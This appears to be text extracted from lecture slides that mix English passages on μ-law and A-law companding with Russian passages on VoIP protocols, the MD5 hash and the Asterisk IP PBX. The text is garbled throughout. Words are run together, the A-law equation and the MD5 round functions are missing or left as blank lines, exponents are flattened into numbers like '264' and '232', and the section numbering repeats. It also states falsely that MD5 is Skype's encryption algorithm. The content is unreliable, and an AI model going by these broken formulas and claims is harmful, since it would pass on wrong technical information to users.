  • 20. Use an AnalogtoDigital Converterwithquantizationlevelswhichare unequallyspacedtomatch the μ-lawalgorithm. Digital Use the quantizeddigital versionof the μ-law algorithmtoconvertdataonce it isin the digital domain. Usage justification This encoding is used because speech has a wide dynamic range. In the analog world, when mixed with a relatively constant background noise source, the finer detail is lost. Given that the precision of the detail is compromised anyway, and assuming that the signal is to be perceived as audio by a human, one can take advantage of the fact that perceived intensity (loudness) is logarithmic[3] by compressing the signal using a logarithmic-response op-amp. In telco circuits, most of the noise is injected on the lines, thus after the compressor, the intended signal will be perceived as significantly louder than the static, compared to an un-compressed source. This became a common telco solution, and thus, prior to common digital usage, the μ-law specification was developed to define an inter-compatible standard. As the digital age dawned, it was noted that this pre-existing algorithm had the effect of significantly reducing the number of bits needed to encode recognizable human voice. Using μ- law, a sample could be effectively encoded in as few as 8 bits, a sample size that conveniently matched the symbol size of most standard computers. μ-law encoding effectively reduced the dynamic range of the signal, thereby increasing the coding efficiency while biasing the signal in a way that results in a signal-to-distortion ratio that is greater than that obtained by linear encoding for a given number of bits. This is an early form of perceptual audio encoding. The μ-law algorithm is also used in the .au format, which dates back at least to the SPARCstation 1 as the native method used by Sun's /dev/audio interface, widely used as a de facto standard for Unix sound. The .au format is also used in various common audio APIs such as the classes in the sun.audio Java package in Java 1.1 and in some C# methods. This plot illustrates how μ-law concentrates sampling in the smaller (softer) values. The values of a μ-law byte 0-255 are the horizontal axis, the vertical axis is the 16 bit linear decoded value. This image was generated with the Sun Microsystems c routine g711.c commonly available on the Internet.
  • 21. Comparison with A-law The µ-law algorithm provides a slightly larger dynamic range than the A-law at the cost of worse proportional distortion for small signals. By convention, A-law is used for an international connection if at least one country uses it. A-law algorithm Graph of μ-law& A-lawalgorithms
  • 22. An A-law algorithm is a standard companding algorithm, used in European digital communications systems to optimize, i.e., modify, the dynamic range of an analog signal for digitizing. It is similar to the μ-law algorithm used in North America and Japan. For a given input x, the equation for A-law encoding is as follows, where A is the compression parameter. In Europe, A = 87.7; the value 87.6 is also used. A-law expansion is given by the inverse function, The reason for this encoding is that the wide dynamic range of speech does not lend itself well to efficient linear digital encoding. A-law encoding effectively reduces the dynamic range of the signal, thereby increasing the coding efficiency and resulting in a signal-to-distortion ratio that is superior to that obtained by linear encoding for a given number of bits. Поддерживаются следующие протоколы: 1. SIP, 2. H.323, 3. IAX2, 4. MGCP, 5. Skinny/SCCP, 6. XMPP (Google Talk), 7. UNIStim, 8. Skype черезкоммерческийканал[5] . 1. SIP (англ. Session Initiation Protocol — протокол установления сеанса) — протокол передачи данных, который описывает способ установления и завершения пользовательского интернет-сеанса, включающего обмен мультимедийным содержимым (видео- и аудиоконференция, мгновенные сообщения, онлайн-игры). В модели взаимодействия открытых систем SIP является сетевым протоколом прикладного уровня. Протокол описывает, каким образом клиентское приложение (например, софтфон) может запросить начало соединения у другого, возможно, физически удалённого клиента, находящегося в той же сети, используя его уникальное имя. Протокол определяет способ согласования между клиентами об открытии каналов обмена на основе других протоколов, которые могут использоваться для непосредственной передачи информации
  • 23. (например, RTP). Допускается добавление или удаление таких каналов в течение установленного сеанса, а также подключение и отключение дополнительных клиентов (то есть допускается участие в обмене более двух сторон — конференц-связь). Протокол также определяет порядок завершения сеанса. 2. РекомендацииITU-T,входящие в стандарт H.323, определяютпорядокфункционирования абонентских терминаловвсетях с разделяемымресурсом,не гарантирующихкачества обслуживания(QoS).СтандартH.323 не связан с протоколомIP,однако,большинство реализацийоснованона этом протоколе.Наборрекомендацийопределяетсетевые компоненты,протоколыипроцедуры, позволяющие организоватьмультимедиасвязьв пакетных сетях.СтандартH.323 определяетчетыре основныхкомпонента,которые вместе с сетевойструктуройпозволяютпроводитьдвусторонние (точка-точка)имногосторонние (точка— многоточек) мультимедиаконференции. 3. IAX2 — Inter-Asterisk eXchange protocol— протокол обменаVoIP даннымимежду IP-PBX Asterisk.Наиболееприспособленктрансляциисетевых адресов NAT,вотличие от SIP и H.323 используеттолькоодинпорт4569 протокола UDP для сигнализациии медиапотока, тогда как последние используютдляэтих целейразные порты.Данныйпротокол позволяетсущественноэкономитьсетевойтрафикпосравнениюс протоколом SIP,что объясняетсяпередачейсигнальнойинформациив битовых полях,ане текстом.Так же протокол позволяетсовмещатьмножествоголосовыхпотоковипередаватьих внутри единоготранка,уменьшаянакладные расходы,связанные с передачейзаголовковIP пакетов. 
  • 24. История IAX2 — (Inter-Asterisk eXchange protocol – вторая версия) протокол разработанный компанией Digium, специально для Asterisk, как альтернативный протокол. Группа разработчиков в составе: Марк Спенсер, Фрэнк Миллер, Кенни Шумард, Эд Гай и Брайан Капоч подала заявку в IETF и 20-го февраля 2009 года протокол был утверждён под RFC 5456. Предпосылкой было желание обеспечить передачу голоса высокого качества в «слабых» сетях. Так как при использовании протоколами SIP и H.323 двух портов для передачи голоса и сигнализации, иногда возникали проблемы, когда во время длительного разговора одного абонента и молчания другого, Firewall , в целях безопасности, закрывал порт сигнализации, так как по нему не шли пакеты. В результате этого после того, как молчавший абонент начинал говорить, сигнализация об этом не проходила через порт, и респондент его не слышал. Для того что бы исключить данную проблему, IAX2 разработан так, что бы использовать один порт для передачи голоса и сигнализации. Так же. В связи с тем, что IAX2 передает сигнальную информацию в битовых полях, а не текстом, совмещение множества голосовых потоков и передача их внутри единого транка, позволяет существенно снижать сетевой трафик. Технические особенности  полностьюбинарныйпротокол (вотличииотSIP) - экономиятрафика  используетсяодинединственыйUDP-порт4569, что упрощаетконфигурациюFirewallи улучшаетработучерезNAT  поддерживаетсятранкинг,приэтомв каждом пакете передаютсяданные сразу нескольких параллельных каналов- экономиятрафика  экономнее чемSIPвтребованиях кполосе пропускания  проще конфигурацияNATи Firewall  меньше неочивидных проблем(приналичииFirewall невозможнаситуация,когда соединение устанавливается,аголосовые данные пройтине могут,в отличииотSIP)  IAX2 эффективнее RTP(SIP) длялюбогоколичестваодновременных соединений,ипри использованиилюбогокодека.Экономияначиная от2.4k для единственноговызова,до приблизительноутроенияколичестваодновременныхсоединений черезмегабитовый потокдля G.729 при использованииtrunkmode. 4. MGCP или Media Gateway Control Protocol дословно — Протокол контроля медиашлюзов. Является протоколом связи в распределённых VoIP системах передачи голоса по протоколу IP. MGCP описан в RFC 3435, который заменил устаревший к настоящему времени RFC 2705, заменивший, в свою очередь, Simple Gateway Control Protocol (SGCP). Сходный протокол для тех же целей Megaco, совместная продукция IETF (RFC 3525) и ITU (рекомендации H.248-1). Оба протокола описаны единым аппаратно-программным интерфейсом (API) Архитектура и требования MGCP в RFC 2805.
  • 25. Обзор протокола Пакеты MGCP отличаются от многих других протоколов. Он резервирует обычно порт UDP 2427, датаграммы MGCP могут содержать и пустые значения, совсем не так как обычно строятся пакеты в протоколах TCP. Пакет MGCP является командой (запросом) или ответом. Команды (запросы) начинаются с четырехбуквенного кода, ответы начинаются с трехзначного цифрового кода. 4. XMPP (Extensible Messaging and Presence Protocol — расширяемый протокол обмена сообщениями и информацией о присутствии), ранее известный как Jabber[1] ([ˈʤæbə(r)], джа́ббер — «болтовня», «трёп», «тарабарщина», сленг. — жабер, жаббер, жабёр [2]) — основанный на XML, открытый, свободный для использования протокол для мгновенного обмена сообщениями и информацией о присутствии (см. список контактов) в режиме, близком к режиму реального времени. Изначально спроектированный легко расширяемым, протокол, помимо передачи текстовых сообщений, поддерживает передачу голоса, видео и файлов по сети. В отличие от коммерческих систем мгновенного обмена сообщениями, таких, как AIM, ICQ, WLM и Yahoo, XMPP является децентрализованной, расширяемой и открытой системой. Любой желающий может открыть свой сервер мгновенного обмена сообщениями, регистрировать на нём пользователей и взаимодействовать с другими серверами XMPP. На основе протокола XMPP уже открыто множество частных и корпоративных серверов XMPP. Среди них есть достаточно крупные проекты, такие как Facebook, Google Talk, В Контакте, Одноклассники.ru, Я.Онлайн, QIP, LiveJournal, Juick и др. 5. SCCP — Skinny Client Control Protocol, корпоративный (проприетарный) протокол, разработан Selsius Corporation, в настоящее время принадлежит Cisco Systems Inc., которая приобрела на него права с покупкой Selsius Corporation в 1998 году. В качестве напоминания о Selsius во всех современных Cisco IP-телефонах дефолтное название устройства для регистрации в CallManager начинается с SEP—это Selsius Ethernet Phone—после которых следует MAC-адрес. SCCP определяет набор сообщений между Skinny-клиентом для взаимодействия проводных и беспроводных IP-телефонов Cisco 7900 серии, таких как Cisco 7960, 7940, 7920, с сервером голосовой почты Cisco Unity и Cisco CallManager. Последний обеспечивает сигнализацию не только SCCP но и большинству VoIP протоколов — H.323, SIP, и MGCP. Кроме стандартных сигнальных функций управлением вызовов, обеспечиваемых Skinny, потребовались дополнительные расширенные опции, такие как: перевод звонка (трансфер), перехват звонка (пикап), конференции, и сообщения голосовой почты. Все эти опции были невозможны при использовании чистого Skinny протокола, что и послужило причиной создания SCCP, поэтому его называют иногда расширенным Skinny. Skinny использует TCP/IP как транспортный протокол для сигнализации вызовов и контроля соединения, и RTP/UDP/IP в качестве медиа — real time audio.
  • 26. SCCP поддерживается некоторыми сторонними производителями оборудования и программного обеспечения, например — Symbol Technologies, IPBlue и SocketIP. Skinny/SCCP используется также в платформах с открытым кодом — Asterisk IP-PBX. 6. Unistim — закрытый протокол передачи сигнальной информации компании Nortel. UNIStim протокол прикладного уровня и базируется на RUDP протоколе также разработанный Nortel. Отличие RUDP от UDP наличие номера пакета и механизма повторной передачи с случает потеря пакета с помощью rudp пакетов включающий ACK с указанием номера полученного UNIStim пакета и NAK с указанием номера потерянногопропущенного UNIStim пакета. Протокол обеспечивает управление сервером тонких клиентов для VoIP. Сервер (CS1000) управляет, получает информацию о состоянии клиентов, обменивается данными с другими участниками поддерживающими протокол. Все команды поделены на несколько секций по функциональному назначению. Каждое сообщение включает 3 основныхполя как то: менеджер получатель команды, длина всей команды, код команды для данного менеджера. Остальная часть сообщения зависит от типа команды. Клиент получив сообщение от сервера выполняет запрос. В зависимости от команды клиент должен сообщить о состоянии выполненной команды. Также клиент может сообщать о своем состоянии по запросу или установленному временному промежутку. Сервер полностью управляет состоянием клиента и состоянием звонка. Задача сервера при выполнении звонка осуществить настройку 2 клиентов для открытия RTP трафика. RTP трафик клиент осуществляет самостоятельно используя различные аудио кодеки. На текущий момент последняя версия протокола который поддерживает продукты компании Nortel — UNIStim 3.0 Детали реализации протокола доступны в документе под названием «Telephony and Data Network Services at a Telephone», патент № 7068641 от 7-го мая 1999 года[1]. 7. Skype (произносится «скайп») — бесплатное проприетарное программное обеспечение с закрытым кодом, обеспечивающее шифрованную голосовую связь и видеосвязь через Интернет между компьютерами (VoIP), а также платные услуги для звонков на мобильные и стационарные телефоны. Используемый алгоритм шифрования MD5 (англ. Message Digest 5) — 128-битный алгоритм хеширования, разработанный профессором Рональдом Л. Ривестом из Массачусетского технологического института (Massachusetts Institute of Technology, MIT) в 1991 году. Предназначен для создания «отпечатков» или «дайджестов» сообщений произвольной длины и последующей проверки их подлинности. В 1993 году Берт ден Боер (Bert den Boer) и Антон Босселарис (Antoon Bosselaers) показали, что в алгоритме возможны псевдоколлизии, когда разным инициализирующим векторам соответствуют одинаковые дайджесты для входного сообщения. В 1996 году Ганс Доббертин (Hans Dobbertin) объявил о коллизии в алгоритме и уже в то время было предложено использовать другие алгоритмы хеширования, такие как Whirlpool, SHA-1 или RIPEMD-160.
  • 27. Из-за небольшого размера хеша в 128 бит, можно рассматривать birthday атаки в день рождения. В марте 2004 года был запущен проект MD5CRK с целью обнаружения уязвимостей алгоритма, используя birthday атаки в день рождения. Проект MD5CRK закончился 17 августа 2004 года, когда Ван Сяоюнь (Wang Xiaoyun), Фен Дэнгуо (Feng Dengguo), Лай Сюэцзя (Lai Xuejia) и Юй Хунбо (Yu Hongbo) обнаружили уязвимости в алгоритме. Алгоритм MD5 СхемаработыалгоритмаMD5 На вход алгоритма поступает входной поток данных, хеш которого необходимо найти. Длина сообщения может быть любой (в том числе нулевой). Запишем длину сообщения в L. Это число целое и неотрицательное. Кратность каким-либо числам необязательна. После поступления данных идёт процесс подготовки потока к вычислениям. Ниже приведены 5 шагов алгоритма: Шаг 1. Выравнивание потока Сначала дописывают единичный бит в конец потока(байт 0x80), затем необходимое число нулевых бит. Входные данные выравниваются так, чтобы их новый размер L' был сравним с 448 по модулю 512 (L’ = 512 × N + 448). Выравнивание происходит, даже если длина уже сравнима с 448. Шаг 2. Добавление длины сообщения В оставшиеся 64 бита дописывают 64-битное представление длины данных(количество бит в сообщении) до выравнивания. Сначала записывают младшие 4 байта. Если длина превосходит 264 − 1, то дописывают только младшие биты. После этого длина потока станет кратной 512. Вычисления будут основываться на представлении этого потока данных в виде массива слов по 512 бит. Шаг 3. Инициализация буфера Для вычислений инициализируются 4 переменных размером по 32 бита и задаются начальные значения шестнадцатеричными числами (шестнадцатеричное представление, сначала младший байт): А = 01 23 45 67; В = 89 AB CD EF; С = FE DC BA 98; D = 76 54 32 10. В этих переменных будут храниться результаты промежуточных вычислений. Начальное состояние ABCD называется инициализирующим вектором. Определим ещё функции и константы, которые нам понадобятся для вычислений.  Потребуются4 функциидля четырёх раундов.Введёмфункцииоттрёх параметров — слов, результатомтакже будетслово.
  • 28. 1 раунд . ______________________________________________________ 2 раунд . _________________________________________________________ 3 раунд . ________________________________________________ 4 раунд . ___________________________________________________  ОпределимтаблицуконстантT[1..64] — 64-элементнаятаблицаданных,построенная следующимобразом:T[i] = int(4294967296 * | sin(i) | ), где 4294967296 = 232 .[3]  Выровненные данные разбиваютсянаблоки (слова) по32 бита, и каждый блокпроходит4 раунда из 16 операторов.Все операторыоднотипныиимеютвид:[abcd k s i], определяемыйкак a = b + ((a + Fun(b,c,d)+X[k] + T[i]) < < < s), где X — блокданных.X[k] = M [n * 16 + k],где k — номер32-битногослова из n-го 512-битногоблока сообщения,иs — циклическийсдвиг влевона s бит полученого32-битногоаргумента. Шаг 4. Вычисление в цикле Заносим в блок данных элемент n из массива. Сохраняются значения A, B, C и D, оставшиеся после операций над предыдущими блоками (или их начальные значения, если блок первый). AA = A BB = B CC = C DD = D После окончания цикла необходимо проверить, есть ли ещё блоки для вычислений. Если да, то изменяем номер элемента массива (n++) и переходим в начало цикла. Шаг 5. Результат вычислений Результат вычислений находится в буфере ABCD, это и есть хеш. Если выводить побайтово начиная с младшего байта A и закончив старшим байтом D, то мы получим MD5 хеш. Примеры использования MD5 позволяет получать относительно надёжный идентификатор для блока данных. Такое свойство алгоритма широко применяется в разных областях. Оно позволяет искать дублирующиеся файлы на компьютере, сравнивая MD5 файлов, а не их содержимое. Как
  • 29. пример, dupliFinder — графическая программа под Windows и Linux. Такой же поиск может работать и в интернете. С помощью MD5 проверяют целостность скачанных файлов — так, некоторые программы идут вместе со значением хеша. Например, диски для инсталляции. MD5 используется для хеширования паролей. В системе UNIX каждый пользователь имеет свой пароль и его знает только пользователь. Для защиты паролей используется хеширование. Предполагалось, что получить настоящий пароль можно только полным перебором. При появлении UNIX единственным способом хеширования был DES (Data Encryption Standard), но им могли пользоваться только жители США, потому что исходные коды DES нельзя было вывозить из страны. Во FreeBSD решили эту проблему. Пользователи США могли использовать библиотеку DES, а остальные пользователи имеют метод, разрешённый для экспорта. Поэтому в FreeBSD стали использовать MD5 по умолчанию.[11]. Некоторые Linux-системы также используют MD5 для хранения паролей. Используемая мини – АТС Asterisk- этополноценная программная АТС. Она можетработатьна таких операционных системах,как Linux(ОС)?,Free BSD(OC)?,Windows(OC)?иOSX(OC)?и предоставляетВамвсе возможности,которые естьу обычноймини АТСи даже больше.Функционирование Asteriskоснованонапротоколах,которыеобеспечиваютпередачуголосачерезсети основанных на IP протоколе (VOIP) и,благодаряэтому,даннаяАТС можетработать практическис любымоборудованиемдляIP-телефонии,которые используютстандартные протоколыдляVOIP,приэтомиспользуяотносительнонедорогое аппаратное обеспечение. Asteriskпредоставляетфункцииголосовойпочты(Voicemail),конференций, интерактивногоголосовогоменю(IVR),центраобработкивызововиих обработки(Call Queuing). Онтакже имеетподдержкутаких сервисов,какпереводвызововдругому абоненту,сервисопределенияипередачивызываемомуабонентуномеравызывающего абонента(callerID),протоколыADSI?,SIP,H.323(как в режиме терминала,таки в режиме гейтования), MGCP (толькодля call manager) и SCCP?/Skinny(не полностью).Вразделе Возможности Вы можете найтиболее полныйсписокфункций,которые можетвыполнять Asterisk. Asterisk не нуждаетсяв дополнительном аппаратном обеспечениидляреализации передачиголоса через IP сети(VOIP).Можно использоватьединственного(или нескольких) провайдеровVOIPдлявходящих и/иливызовов(входящие и исходящие вызовы могутобрабатыватьсяразличнымипровайдерамиИнтернети/илиобычной телефонии) Дляобеспечениякоммуникациймеждуцифровымианалоговымтелефонным оборудованием,Asteriskимеетподдержкунекоторых аппаратных устройств,которые можно обозначить,какоборудование,производимое спонсоромпроектаAsterisk - Digium?.Digiumпроизводитодинарные исчетверенные T1и E1 интерфейсные платыдля
  • 30. коммуникацийс каналами PRI и channel banks.Вдополнение,производятсяинтерфейсы, от одногодо четырех портовнаплату,длякоммуникациис аналоговымителефонными линиямиFXO и FXS, которые популярныприпостроениинебольшойАТС.Интерфейсные устройствадругих производителеймогутбытьиспользованыдляорганизации каналов BRI (ISDN2) с четырьмяи восемьюпортами BRI еслиони совместимые с CAPIилиоснованы на чипсете HFC. Главным преимуществом таких станций является гибкость настроек, функциональность, устойчивость и надёжность в работе, а так же простота в использовании. Станции на базе ASTERISK IP PBX могут быть использованы фактически в любых целях – офисные АТС, гостиничные АТС, Call-центры, многоуровневые голосовые меню (IVR), станции для предоставления услуг связи конечным пользователям. Благодаря использованию внутреннего номерного пространства и простоте подключения к традиционным услугам связи, станции на базе Asterisk используются как расширители номерного ресурса даже при наличии всего одной или нескольких внешних телефонных линий. Телефонизация офиса или предприятия: Станция включает в себя такие прогрессивные сервисы как голосовая почта, интерактивные голосовые меню, переадресация вызовов, постановка вызовов в список ожидания. Используя станцию ASTERISK IP PBX предприятие сможет телефонизировать всех своих работников. Возможно удалённое подключение работника к станции через интернет-канал – даже находясь дома или в командировке, Вы сможете принимать и осуществлять звонки как будто находясь на рабочем месте. Станция ASTERISK позволяет организовать факс на каждом рабочем месте без использования факс-аппарата – при этом все входящие факсимильные сообщения будут отправляться на адрес электронной почты сотрудника. Благодаря интерактивному голосовому меню Вы сможете избавить секретаря от необходимости отвечать на все входящие звонки и вручную выполнять переадресацию вызовов – звонящий сам сможет выбрать сотрудника или отдел, с которым хотел бы общаться. Благодаря возможности подключения станции ASTERISK к GSM каналу, Вы сможете объединить городские и мобильные линии таким образом, что расходы на мобильную связь минимизируются до незначительных сумм. Станция без дополнительных затрат подключается к провайдерам VOIP-связи, что позволяет значительно удешевить международные и междугородние переговоры. Благодаря использованию технологий DID (Direct Invard Numbers), использующий данную станцию сможет подключить к ней входящий телефонный номер фактически любого государства и при этом не будет платить за входящие переговоры из-за границы ни звонящий абонент, ни абонент, принимающий звонок. Вы сможете предоставить вашим партнёрам и клиентам за рубежом возможность звонить Вам используя локальный телефонный номер его города. Объединение удалённых офисов: ASTERISK IP PBX позволяет объединить удалённые офисы вашей фирмы в единый ресурс посредством использования интернет-канала или выделенного корпоративного канала. Сотрудники фирмы, находящиеся в разных городах и даже странах, смогут общаться между собой без использования услуг междугородней или международной связи телефонных провайдеров, а так же переадресовывать звонящих абонентов в удалённые офисы. Это сведёт к нулю стоимость переговоров между филиалами вашей фирмы.
  • 31. Гостиничная АТС на базе ASTERISK IP PBX: Используя современные средства тарификации звонков, ASTERISK легко используется для предоставления связи клиентам гостиниц и пансионатов. Гибкая система направления звонков в различные каналы связи позволяет гостинице максимально удешевить связь. Благодаря использованию внутреннего номерного ресурса, каждому абоненту может быть присвоен отдельный номер. Администрация гостиницы сможет гибко регулировать объёмы исходящих звонков для каждого абонента, а так же получать распечатки звонков и выполнять тарификацию и выписку счетов одним нажатием мыши на экране компьютера администратора гостиницы. Call-центры и платные услуги IP-телефонии: Используя систему биллинга, ASTERISK превращается в очень удобную платформу для предоставления платных услуг IP-телефонии. Возможны комплексные решения по оригинации и терминации вызовов. Система может вести тарификацию по принципу предоплаты и постоплаты. Система готова для предоставления услуг карточной телефонии. ASTERISK легко подключается к удалённым провайдерам VOIP услуг по трём протоколам: IAX, SIP, H.323. Возможна перекодировка всего голосового трафика для уменьшения расходов на транспорт голосовых потоков. Другие решения на базе ASTERISK IP PBX: Благодаря функциональности и гибкости, ASTERISK может использоваться фактически для любых целей – интерактивные голосовые меню, службы заказа услуг, службы оплаты услуг, службы вызова такси, службы знакомств и т.д.